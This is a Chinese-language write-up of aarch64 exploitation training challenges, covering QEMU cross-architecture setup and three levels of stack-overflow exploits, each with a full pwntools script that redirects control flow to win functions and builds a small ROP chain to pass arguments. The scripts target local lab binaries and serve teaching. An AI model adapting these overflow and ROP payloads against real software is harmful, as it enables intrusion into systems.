工欲善其事，必先利其器#

Speedrun 异架构汇编#

直接看我笔记就好了，虽然不是很详细，后面有时间的话我会再多写点的/画大饼，很大很大的饼（bushi

异架构环境搭建#

由于我使用的是 Arch Linux，所以这里的搭建步骤都按照 Arch 的用法来写，不过实际上其它发行版的大致流程也大差不差的。

paru -S qemu-user-static qemu-user-static-binfmt

确保 binfmt 安装成功：

ls /proc/sys/fs/binfmt_misc/qemu-aarch64

创建 aarch64-rootfs:

paru -S debootstrap
sudo debootstrap --arch=arm64 bookworm /opt/aarch64-rootfs http://deb.debian.org/debian
sudo chroot /opt/aarch64-rootfs /bin/bash
uname -m # should result aarch64
apt update
apt install -y libcapstone4 # just install needed packages, for dynamically linked programs
exit

IMPORTANT
上面这个创建 aarch64-rootfs 然后安装软件包是为了解决非静态链接的异架构 ELF 文件无法运行的问题，至于具体安装什么软件包，也是取决于那个动态连接的文件用到了什么包，libcapstone4 只是举个例子，需要根据实际情况来判断。
如果给的是静态链接的 ELF 文件，则一般可以直接使用 qemu-aarch64-static ./file 来运行。
简单介绍一下 qemu-user 和 qemu-user-static 之间的区别，其实就是 qemu 本身是否静态链接。静态链接版本的会提供一些最基本的库，动态链接版本的则完全没有，就那么简单，所以一般使用 static 版本即可。
至于 binfmt 的作用，可以简单理解为隐藏了手动确认架构信息这些步骤，自动识别架构。这里我完全是为了图方便，因为手动设置架构的时候 chroot 没成功，改用 binfmt 就一次过了，太懒了，没深入研究哈哈哈，这种东西能跑就行/逃

Level 1.0#

Information#

Category: Pwn

Description#

The goal of this level is quite simple: redirect control flow to the win function.

Write-up#

经典栈溢出 plus 后门。

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    gdb,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
17
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
18
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
19
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
20
args = parser.parse_args()
21

22

23
FILE = "/challenge/level-1-0"
24
HOST, PORT = "localhost", 1337
25

26
context(log_level="debug", binary=FILE, terminal="kitty")
27

28
elf = context.binary
29
libc = elf.libc
30

31

32
def mangle(pos, ptr, shifted=1):
33
    if shifted:
34
        return pos ^ ptr
35
    return (pos >> 12) ^ ptr
36

37

38
def demangle(pos, ptr, shifted=1):
39
    if shifted:
40
        return mangle(pos, ptr)
41
    return mangle(pos, ptr, 0)
42

43

44
def launch(argv=None, envp=None):
45
    global target, thread
46

47
    if argv is None:
48
        argv = [FILE]
49

50
    if args.local and args.threads is not None:
51
        raise ValueError("Options -L and -T cannot be used together.")
52

53
    if args.local:
54
        if args.gdb and "qemu" in argv[0]:
55
            if "-g" not in argv:
56
                argv.insert(1, str(args.port))
57
                argv.insert(1, "-g")
58
        target = process(argv, env=envp)
59
    elif args.threads:
60
        if args.threads <= 0:
61
            raise ValueError("Thread count must be positive.")
62
        process(FILE)
63

64
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
65
    else:
66
        target = remote(HOST, PORT, ssl=True)
67

68

69
def main():
70
    # launch(["qemu-aarch64-static", "-L", "/opt/aarch64-rootfs", FILE])
71
    target = process(["/challenge/run"])
72

73
    payload = flat(
74
        {
75
            0x7C: elf.sym["win"],
76
        },
77
        filler=b"\x00",
78
    )
79
    raw_input("DEBUG")
80
    target.send(payload)
81

82
    target.interactive()
83

84

85
if __name__ == "__main__":
86
    main()

Level 2.0#

Information#

Category: Pwn

Description#

Now let’s see about redirect control flow to multiple functions.

Write-up#

嗯，是当年新手村那味儿没错了～满满的回忆哈哈哈。

简单说一下，调用函数会把返回地址保存在 LR 寄存器，函数 ret 差不多就是 x30 = LR, br x30，所以只要注意观察 epilogue 然后计算就好了。

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    gdb,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
17
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
18
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
19
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
20
args = parser.parse_args()
21

22

23
FILE = "/challenge/level-2-0"
24
HOST, PORT = "localhost", 1337
25

26
context(log_level="debug", binary=FILE, terminal="kitty")
27

28
elf = context.binary
29
libc = elf.libc
30

31

32
def mangle(pos, ptr, shifted=1):
33
    if shifted:
34
        return pos ^ ptr
35
    return (pos >> 12) ^ ptr
36

37

38
def demangle(pos, ptr, shifted=1):
39
    if shifted:
40
        return mangle(pos, ptr)
41
    return mangle(pos, ptr, 0)
42

43

44
def launch(argv=None, envp=None):
45
    global target, thread
46

47
    if argv is None:
48
        argv = [FILE]
49

50
    if args.local and args.threads is not None:
51
        raise ValueError("Options -L and -T cannot be used together.")
52

53
    if args.local:
54
        if args.gdb and "qemu" in argv[0]:
55
            if "-g" not in argv:
56
                argv.insert(1, str(args.port))
57
                argv.insert(1, "-g")
58
        target = process(argv, env=envp)
59
    elif args.threads:
60
        if args.threads <= 0:
61
            raise ValueError("Thread count must be positive.")
62
        process(FILE)
63

64
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
65
    else:
66
        target = remote(HOST, PORT, ssl=True)
67

68

69
def main():
70
    # launch(["qemu-aarch64-static", "-L", "/opt/aarch64-rootfs", FILE])
71
    target = process(["/challenge/run"])
72

73
    payload = flat(
74
        {
75
            0x8C: elf.sym["win_stage_1"] + 0x8,
76
            0x1BC: elf.sym["win_stage_2"] + 0x8,
77
        },
78
        filler=b"\x00",
79
    )
80
    raw_input("DEBUG")
81
    target.send(payload)
82

83
    target.interactive()
84

85

86
if __name__ == "__main__":
87
    main()

Level 3.0#

Information#

Category: Pwn

Description#

What about passing arguments to multiple functions?

Write-up#

Multiple stages + argument control, 回忆啊，都是回忆……

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    ROP,
8
    context,
9
    flat,
10
    gdb,
11
    process,
12
    raw_input,
13
    remote,
14
)
15

16
parser = argparse.ArgumentParser()
17
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
18
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
19
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
20
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
21
args = parser.parse_args()
22

23

24
FILE = "/challenge/level-3-0"
25
HOST, PORT = "localhost", 1337
26

27
context(log_level="debug", binary=FILE, terminal="kitty")
28

29
elf = context.binary
30
libc = elf.libc
31

32

33
def mangle(pos, ptr, shifted=1):
34
    if shifted:
35
        return pos ^ ptr
36
    return (pos >> 12) ^ ptr
37

38

39
def demangle(pos, ptr, shifted=1):
40
    if shifted:
41
        return mangle(pos, ptr)
42
    return mangle(pos, ptr, 0)
43

44

45
def launch(argv=None, envp=None):
46
    global target, thread
47

48
    if argv is None:
49
        argv = [FILE]
50

51
    if args.local and args.threads is not None:
52
        raise ValueError("Options -L and -T cannot be used together.")
53

54
    if args.local:
55
        if args.gdb and "qemu" in argv[0]:
56
            if "-g" not in argv:
57
                argv.insert(1, str(args.port))
58
                argv.insert(1, "-g")
59
        target = process(argv, env=envp)
60
    elif args.threads:
61
        if args.threads <= 0:
62
            raise ValueError("Thread count must be positive.")
63
        process(FILE)
64

65
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
66
    else:
67
        target = remote(HOST, PORT, ssl=True)
68

69

70
def main():
71
    # launch(["qemu-aarch64-static", "-L", "/opt/aarch64-rootfs", FILE])
72
    target = process(["/challenge/run"])
73

74
    # 0x00000000004014c8: ldp x0, x1, [sp]; br x1;
75
    x0_x1_br_x1 = 0x00000000004014C8
76
    payload = flat(
77
        {
78
            0x61: x0_x1_br_x1,
79
            0x61 + 0x8: 0x1,
80
            0x61 + 0x10: elf.sym["win_stage_1"] + 0x8,
81
            0x191: x0_x1_br_x1,
82
            0x1A9: 0x2,
83
            0x1A9 + 0x8: elf.sym["win_stage_2"] + 0x8,
84
            0x2D1: x0_x1_br_x1,
85
            0x2E9: 0x3,
86
            0x2E9 + 0x8: elf.sym["win_stage_3"] + 0x8,
87
            0x411: x0_x1_br_x1,
88
            0x429: 0x4,
89
            0x429 + 0x8: elf.sym["win_stage_4"] + 0x8,
90
            0x551: x0_x1_br_x1,
91
            0x569: 0x5,
92
            0x569 + 0x8: elf.sym["win_stage_5"] + 0x8,
93
        },
94
        filler=b"\x00",
95
    )
96
    raw_input("DEBUG")
97
    target.send(payload)
98

99
    target.interactive()
100

101

102
if __name__ == "__main__":
103
    main()